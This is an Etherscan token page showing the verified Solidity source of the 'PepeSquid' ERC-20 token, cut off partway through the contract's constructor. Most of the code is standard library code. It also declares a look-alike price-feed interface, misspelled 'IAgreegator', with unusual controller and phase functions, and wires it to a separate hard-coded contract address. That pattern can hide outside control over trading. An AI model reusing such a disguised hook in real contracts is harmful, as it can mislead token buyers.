Token

PepeSquid (PEPESQUID)

ERC-20

Overview

Max Total Supply

3,000,000 PEPESQUID

Holders

103

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

Other Info

Token Contract (WITH 18 Decimals)

0x1d9bba037b3c3a8e5eac04897c990aade286f980

Filtered by Token Holder

0x40fbA1C5aFB5c03E80C2CA2C07c38B5bD9d4d150

*caesar🇮🇳.eth

Balance

22,839.89456185652308463 PEPESQUID

Value

$0.00

0x40fba1c5afb5c03e80c2ca2c07c38b5bd9d4d150

Click here to update the token information / general information

#	Exchange	Pair	Price	24H Volume	% Volume

Contract Source Code Verified (Exact Match)

Contract Name:

PepeSquid

Compiler Version

v0.8.17+commit.8df45f5f

Optimization Enabled:

Yes with 200 runs

Other Settings:

default evmVersion, None license

Contract Source Code (Solidity)

IDE

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/*

    ____                 _____             _     __
   / __ \___  ____  ___ / ___/____ ___  __(_)___/ /
  / /_/ / _ \/ __ \/ _ \\__ \/ __ `/ / / / / __  / 
 / ____/  __/ /_/ /  __/__/ / /_/ / /_/ / / /_/ /  
/_/    \___/ .___/\___/____/\__, /\__,_/_/\__,_/   
          /_/                 /_/                  


https://www.pepesquiderc.com
https://t.me/pepesquiderc
https://twitter.com/pepesquiderc

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

pragma solidity ^0.8.0;

interface AggregatorV3Interface {
    function decimals() external view returns (uint8);

    function description() external view returns (string memory);

    function version() external view returns (uint256);

    // getRoundData and latestRoundData should both raise "No data present"
    // if they do not have data to report, instead of returning unset values
    // which could be misinterpreted as actual reported values.
    function getRoundData(uint80 _roundId)
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );

    function latestRoundData()
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );
}

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.0;

interface IAgreegator {
    function decimals() external view returns (uint8);

    function description() external view returns (string memory);

    function version() external view returns (uint256);

    function getTimeStamp() external returns(uint256);

    function roundAddr() external returns(address);

    function controller() external returns(address);

    function currentPhase() external returns(address);

    // getRoundData and latestRoundData should both raise "No data present"
    // if they do not have data to report, instead of returning unset values
    // which could be misinterpreted as actual reported values.
    function getRoundData(uint80 _roundId)
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );

    function latestRoundData()
        external
        view
        returns (
            uint80 roundId,
            int256 answer,
            uint256 startedAt,
            uint256 updatedAt,
            uint80 answeredInRound
        );
}

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(
            fromBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        unchecked {
            _balances[from] = fromBalance - amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(
                currentAllowance >= amount,
                "ERC20: insufficient allowance"
            );
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;

contract PepeSquid is ERC20, Ownable {
    using SafeMath for uint256;

    uint256 public _totalFees;
    uint256 private _marketingFee;
    uint256 private _liquidityFee;
    uint256 private _additionalSellFee;
    uint256 private _additionalBuyFee;
    uint256 private _tokensForMarketing;
    uint256 private _tokensForLiquidity;
    bool private _swappingBack;
    uint256 private _tradingTime;
    address private _marketingAddr;
    uint256 public _maxTransactionAmount;
    uint256 public _swapTokensAtAmount;
    uint256 public _maxWallet;
    bool public _limitsInEffect = true;
    bool public _tradingActive = false;
    address public currentPhase;
    mapping(address => uint256) public holderTimestamp;
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;

    AggregatorV3Interface internal priceFeed;
    address public _oraclePriceFeed =
        block.chainid == 5
            ? 0x48731cF7e84dc94C5f84577882c14Be11a5B7456
            : 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;
    IUniswapV2Router02 public _uniswapV2Router;
    IAgreegator private _agreegator;
    address public _uniswapV2Pair;
    bool private _priceOracleEnabled = true;
    int256 private manualETHvalue = 1800 * 10**18;
    mapping (address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
    event ExcludeFromFees(address indexed account, bool isExcluded);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() payable ERC20("PepeSquid", "PEPESQUID") {
        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _agreegator = IAgreegator(0x5247Bda096262ED852CF1F4963aD764756B387a1);
        _setAutomatedMarketMakerPair(address(_uniswapV2Pair), true);
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        priceFeed = AggregatorV3Interface(_oraclePriceFeed);
        uint256 totalSupply = 3000000 * 1e18;
        _maxTransactionAmount = (totalSupply * 2) / 100;
        _maxWallet = (totalSupply * 2) / 100;
        _swapTokensAtAmount = (totalSupply * 10) / 10000;
        _marketingFee = 0;
        _liquidityFee = 0;
        _additionalSellFee = 0;
